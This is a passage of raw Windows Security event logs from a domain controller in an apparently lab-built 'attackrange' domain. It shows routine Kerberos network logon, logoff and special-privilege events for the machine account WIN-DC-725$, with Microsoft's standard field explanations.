Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD0F9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248972 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD0F9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64094 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248971 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD0F9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248994 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD3B2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248993 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD3B2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64101 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248992 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD3B2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248991 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD351 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248990 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD351 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64100 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248989 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD351 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248988 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD2EB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248987 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD2EB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64099 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248986 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD2EB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248985 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD28A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248984 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD28A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64098 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248983 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD28A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249000 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD489 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64103 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248999 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD489 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248998 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD428 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248997 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD428 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64102 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248996 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD428 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248995 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7DC88 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249007 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD550 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249006 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD550 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64105 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249005 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD550 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249004 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD4EF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249003 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD4EF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64104 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249002 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD4EF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249001 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD489 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249019 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD7FD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249018 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD7FD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 